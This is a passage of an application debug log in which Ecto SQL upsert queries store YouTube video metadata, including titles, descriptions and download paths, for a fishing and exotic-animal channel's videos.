("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "81500fe8-2322-44b3-91db-b2f1481dbf46", "m6aOMjI6w1o", false, "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, [], 1780, false, 15, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, false, 98, ~U[2025-03-15 12:22:02Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "m6aOMjI6w1o", "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, 1780, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, ~U[2025-03-15 12:22:02Z]] 08:30:39.578 [debug] QUERY OK source="sources" db=0.4ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.579 [debug] QUERY OK source="media_items" db=0.8ms idle=7.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-31 15:00:01Z], 33] 08:30:39.581 [debug] QUERY OK source="media_items" db=1.2ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "d0d11dd0-a7e5-42fa-bb04-cda5497b3ae0", "B18LIIpNx8E", false, "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, [], 1645, false, 16, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, false, 98, ~U[2025-01-31 15:00:01Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "B18LIIpNx8E", "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, 1645, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, ~U[2025-01-31 15:00:01Z]] 08:30:39.581 [debug] QUERY OK source="sources" db=0.3ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.582 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-11 13:00:01Z], 33] 08:30:39.584 [debug] QUERY OK source="media_items" db=1.5ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "I Found The Deadliest Animals On The Dark Web!", "6798c0fd-42eb-4b2c-ab2d-8fabb839f73f", "5z6jFVK60Qw", false, "https://www.youtube.com/watch?v=5z6jFVK60Qw", 33, [], 1942, false, 17, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", false, false, 98, ~U[2025-01-11 13:00:01Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world (truncated) 08:30:39.585 [debug] QUERY OK source="sources" db=0.3ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.586 [debug] QUERY OK source="media_items" db=0.8ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-14 13:28:27Z], 33] 08:30:39.587 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "48de0e40-ddcd-43bc-8b38-1ee76cde4e2a", "gyK4NviOjGA", false, "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, [], 10248, false, 18, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, false, 98, ~U[2024-12-14 13:28:27Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "gyK4NviOjGA", "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, 10248, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, ~U[2024-12-14 13:28:27Z]] 08:30:39.587 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.588 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-23 13:00:05Z], 33] 08:30:39.590 [debug] QUERY OK source="media_items" db=1.0ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "f70d5b63-2c46-45cc-abdd-4a4992107585", "RiS0pgYsKdg", false, "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, [], 1540, false, 19, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, false, 98, ~U[2024-11-23 13:00:05Z], ~U[2026-06-03 12:30:39Z], ~U[2026-06-03 12:30:39Z], "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "RiS0pgYsKdg", "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, 1540, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, ~U[2024-11-23 13:00:05Z]] 08:30:39.590 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:39.591 [debug] QUERY OK source="media_items" db=0.8ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-09 13:00:02Z], 33] 08:30:39.593 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In todays video I catch the monster that has been attacking fish in an abandoned pond! It all started after finding a bunch of dead fish, so I started exploring the pond to try to find out what's causing this so I can catch it out and remove it! But it's not gonna be easy because the pond is infested with alligators, snakes, giant turtles, and deadly fish! I started out by netting around and immediately I caught rare catfish, eels, baby turtles, frogs, and a ton of mysterious alien fish! I kept going and managed to catch out the first monster, which was a giant snake! As I kept going I realized that this pond was full of a ton of crazy fish and I would need to catch them all out in order to save them... After a few more nets I caught venomous lionfish, mudskippers, salamanders, and a bunch more fish! But then I came across yet another snake which I was able to catch out and remove! I kept going and I started catching a ton of monster fish including piranhas, bichirs, pufferfish, sturgeon, freshwater dolphins, and ! After that I made a shocking discovery when I caught an abba abba knife fish which is one of the deadliest fish in the world! But then I realized if I want to find out what the monster is I would need to get in the pond, so I jumped in and immediately I caught giant freshwater sharks, redtail catfish, and even another abba abba knife fish! As I kept going deeper into the pond, something big attacked me which ended up being a monster soft-shell turtle! After removing it I was almost positive I caught out the monster that has been eating all of the fish, but as I got back in the pond I spotted an alligator! I quickly got out of the pond and I then decided to place a couple fish traps to hopefully save the rest of the fish and remove the monster! After letting them soak overnight, it was time to check the traps and they were loaded with fish! It was now time to check the biggest fish trap and I finally ended up catching the alligator which I relocated to a nearby creek! If you want me to come back to save the rest of the fish leave a like!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: 